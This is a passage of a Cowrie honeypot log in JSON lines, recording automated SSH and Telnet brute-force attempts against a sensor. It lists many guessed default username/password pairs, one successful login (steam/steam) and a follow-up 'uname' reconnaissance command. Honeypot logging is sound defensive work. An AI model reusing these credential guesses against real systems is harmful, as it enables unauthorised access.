sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:55.618411Z","src_ip":"192.109.200.237","session":"3dbfb4691539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:55.866074Z","src_ip":"192.109.200.237","session":"3dbfb4691539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:56.503300Z","src_ip":"89.223.69.22","session":"902d7c26ac27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.358268976211548,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:56.836815Z","src_ip":"152.42.224.71","session":"a258c3522df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:56.951793Z","src_ip":"192.109.200.237","session":"3dbfb4691539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43084,"dst_ip":"159.203.135.109","dst_port":22,"session":"08e2de8a5fd9","protocol":"ssh","message":"New connection: 192.109.200.237:43084 (159.203.135.109:22) [session: 08e2de8a5fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:58.849046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:58.853888Z","src_ip":"192.109.200.237","session":"08e2de8a5fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:58.936646Z","src_ip":"192.109.200.237","session":"08e2de8a5fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:59.182990Z","src_ip":"192.109.200.237","session":"08e2de8a5fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:00.268589Z","src_ip":"192.109.200.237","session":"08e2de8a5fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4098437d03c8","protocol":"ssh","message":"New connection: 192.109.200.237:46954 (159.203.135.109:22) [session: 4098437d03c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:02.365541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:02.378106Z","src_ip":"192.109.200.237","session":"4098437d03c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:02.466611Z","src_ip":"192.109.200.237","session":"4098437d03c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:02.874683Z","src_ip":"192.109.200.237","session":"4098437d03c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:03.961822Z","src_ip":"192.109.200.237","session":"4098437d03c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46960,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01fce85b72d","protocol":"ssh","message":"New connection: 192.109.200.237:46960 (159.203.135.109:22) [session: e01fce85b72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:05.905341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:05.913828Z","src_ip":"192.109.200.237","session":"e01fce85b72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:05.998216Z","src_ip":"192.109.200.237","session":"e01fce85b72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:06.249985Z","src_ip":"192.109.200.237","session":"e01fce85b72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:07.336776Z","src_ip":"192.109.200.237","session":"e01fce85b72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58822,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b1258a548ab","protocol":"telnet","message":"New connection: 152.42.224.71:58822 (10.17.0.5:23) [session: 2b1258a548ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:08.545791Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46972,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f1f0c968cfb","protocol":"ssh","message":"New connection: 192.109.200.237:46972 (159.203.135.109:22) [session: 7f1f0c968cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:09.282582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:09.292608Z","src_ip":"192.109.200.237","session":"7f1f0c968cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:09.374559Z","src_ip":"192.109.200.237","session":"7f1f0c968cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:09.628885Z","src_ip":"192.109.200.237","session":"7f1f0c968cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:10.715138Z","src_ip":"192.109.200.237","session":"7f1f0c968cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33172,"dst_ip":"159.203.135.109","dst_port":22,"session":"757f4c93684b","protocol":"ssh","message":"New connection: 192.109.200.237:33172 (159.203.135.109:22) [session: 757f4c93684b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:12.641562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:12.721479Z","src_ip":"192.109.200.237","session":"757f4c93684b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:12.854368Z","src_ip":"192.109.200.237","session":"757f4c93684b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:13.102623Z","src_ip":"192.109.200.237","session":"757f4c93684b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:14.188467Z","src_ip":"192.109.200.237","session":"757f4c93684b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":52340,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b4afe9d401","protocol":"telnet","message":"New connection: 209.127.178.212:52340 (159.203.135.109:23) [session: 71b4afe9d401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:14.847601Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33186,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab745c77e9b7","protocol":"ssh","message":"New connection: 192.109.200.237:33186 (159.203.135.109:22) [session: ab745c77e9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.144076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.149417Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.232894Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.570837Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.839449Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.843296Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.930836Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:16.938309Z","src_ip":"192.109.200.237","session":"ab745c77e9b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33190,"dst_ip":"159.203.135.109","dst_port":22,"session":"022dba6fe974","protocol":"ssh","message":"New connection: 192.109.200.237:33190 (159.203.135.109:22) [session: 022dba6fe974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:19.679753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:19.684897Z","src_ip":"192.109.200.237","session":"022dba6fe974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:19.771667Z","src_ip":"192.109.200.237","session":"022dba6fe974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:20.019444Z","src_ip":"192.109.200.237","session":"022dba6fe974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:21.132076Z","src_ip":"192.109.200.237","session":"022dba6fe974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33426,"dst_ip":"159.203.135.109","dst_port":22,"session":"77c83b6f5297","protocol":"ssh","message":"New connection: 192.109.200.237:33426 (159.203.135.109:22) [session: 77c83b6f5297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:23.229564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:05:23.240079Z","src_ip":"192.109.200.237","session":"77c83b6f5297","protocol":"ssh"}
